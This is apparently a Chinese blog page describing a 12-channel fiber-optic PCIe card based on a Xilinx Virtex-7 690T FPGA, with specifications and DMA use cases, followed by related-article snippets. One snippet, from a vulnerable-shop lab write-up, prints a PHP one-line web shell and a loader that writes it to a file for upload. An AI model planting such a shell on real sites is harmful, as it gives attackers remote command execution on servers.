271-基于XC7V690T的12路光纤PCIe接口卡

server/2024/12/27 23:34:51/

一、板卡概述

   基于XC7V690T的12路光纤PCI-E接口卡,用于实现多通道高速光纤数据接收和发送,板卡兼容PCIe 2.0和PCIe 3.0规范,利用PCI-E Switch PEX 8748实现FPGA芯片与计算机的通信,计算机与板卡接口处提供PCI-e 16速接口,FPGA与Switch PEX 8748提供3组 PCI-E3.0 X8速接口 ,单条链路速率最高支持8Gbps。板卡提供收发双向共12路光纤通道,单路速率最高可到10Gbps。板载FPGA 可以同时例化三组PCI-E 3.0IP,三组PCI-E接口同时运行时,每组DMA读写超过4.2GB/s(双向),总体性能为12GB/s以上。

    板卡配置了一片高性能FPGA芯片(Xilinx Virtex-7 690T)用于实现光纤接口,高速缓存接口以及PCIe接口。支持国产FPGA替代。FPGA提供多个物理BANK的大容量板载DDR3存储器,用于数据缓存,共计6组,每组32位,工作频率1300MHz,每组容量1GB。

    本板卡前面板提供USB转JTAG下载调试口。

二、技术指标

  1. 光纤接口:12路收发通道,10G多模光纤接口,波长850nm,光纤速率可配置, 采用MPO接插件。
  2. PCIe主机接口:16x PCIe,8Gbps,兼容PCIe 2.0和PCIe3.0规范;
  3. Switch PEX8748 与FPGA接口为三组 PCI-E 3.0 X8 速接口。
  4. DDR3存储器:提供6组1GB的1333-32bit DDR3存储器;
  5. PCIe Switch:PEX8748(48 lane,8-port PCIe Gender 3 switch);
  6. FPGA:Xilinx Virtex-7 690T;
  7. 同步输入:板外输入同步信号,用于同步触发多通道光纤数据的接收或发送。

8) 软件支持:提供32位和64位Windows环境下的驱动程序; Linux 驱动。

9)结构与重量 PCIe全长卡; 106.5mm(高) x 224.66mm(长);重量:总重量 < 800g(含散热片)。

三、典型应用

    A、多通道独立 DMA。通过PCIe Switch,FPGA例化三个PCI-E 3.0 X8 速的设备,每个PCI-E设备可以与计算机发起DMA,共计3组。每个PCI-E的设备可以提供4个DMA通道。12路10Gbps的光纤通道,可以分成3组光纤通道,每4通道一组,每路光纤有独立的DMA通道。

    B、多通道DMA 读写同时交叉。三个PCI-E 接口接入到同一颗FPGA芯片,可以用两个PCI-E DMA通道读和写分别同时操作而不影响性能。

    计算机软件针对光纤通道进行编程,灵活控制。

    此应用适用于双路CPU的服务器,CPU内核多,可以利用多核对多路DMA通道的数据进行灵活处理。

    此板卡的设计方法,可以保证12路10Gps的光纤数据(120Gbps)通过PCI-E总线16线速(128Gbps)的接口传送到计算机的内存。


http://www.ppmy.cn/server/153752.html

相关文章

界面控件DevExpress v24.2新版亮点 - 支持.NET9、增强跨平台性

DevExpress拥有.NET开发需要的所有平台控件&#xff0c;包含600多个UI控件、报表平台、DevExpress Dashboard eXpressApp 框架、适用于 Visual Studio的CodeRush等一系列辅助工具。屡获大奖的软件开发平台DevExpress 今年第一个重要版本v23.1正式发布&#xff0c;该版本拥有众多…

基于卷积神经网络(CNN)和ResNet50的水果与蔬菜图像分类系统

前言 在现代智能生活中&#xff0c;计算机视觉技术已经成为不可或缺的工具&#xff0c;特别是在食物识别领域。想象一下&#xff0c;您只需拍摄一张水果或蔬菜的照片&#xff0c;系统就能自动识别其种类并为您提供丰富的食谱建议。这项技术不仅在日常生活中极具实用性&#xf…

niushop开源商城靶场漏洞

文件上传漏洞 先注册一个账号 来到个人信息修改个人头像 选择我们的马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?> 在…

Bogus:.NET的假数据生成利器

我们在项目开发中&#xff0c;为了保证系统功能完整、准确性&#xff0c;我们都需要模拟真实数据进行测试。 今天推荐一个开源库&#xff0c;方便我们制造假数据测试。 01 项目简介 Bogus 是一个开源的 .NET 库&#xff0c;它提供了一个强大的工具集&#xff0c;用于生成虚假…

Windows系统上配置eNSP环境的详细步骤

华为eNSP&#xff08;Enterprise Network Simulation Platform&#xff09;是一款针对华为数通网络设备的网络仿真平台&#xff0c;用于辅助工程师进行网络技术学习、方案验证和故障排查等工作。以下是在Windows系统上配置eNSP环境的详细步骤&#xff1a; 1. 准备工作 下载安…

Java反射学习(4)(“反射“机制获取成员方法及详细信息(Method类))

目录 一、基本引言。 &#xff08;1&#xff09;基本内容回顾。 &#xff08;2&#xff09;本篇博客的核心内容——基本介绍。 二、Java中使用"反射"机制获取成员方法及内部的详细信息。 &#xff08;1&#xff09;"反射"机制获取成员方法及详细信息的基本…

flask后端开发(10):问答平台项目结构搭建

目录 一、项目结构二、具体各个部分 解耦合 一、项目结构 zhiliaooa/ ├── pycache/ ├── blueprints/ # 蓝图目录 │ ├── forms.py # 表单定义 │ ├── qa.py # 问答相关视图 │ └── user.py # 用户相关视图 │ ├── static/ # 静态文件 │ ├── css/ │ ├─…

PDF书籍《手写调用链监控APM系统-Java版》第9章 插件与链路的结合:Mysql插件实现

本人阅读了 Skywalking 的大部分核心代码&#xff0c;也了解了相关的文献&#xff0c;对此深有感悟&#xff0c;特此借助巨人的思想自己手动用JAVA语言实现了一个 “调用链监控APM” 系统。本书采用边讲解实现原理边编写代码的方式&#xff0c;看本书时一定要跟着敲代码。 作者…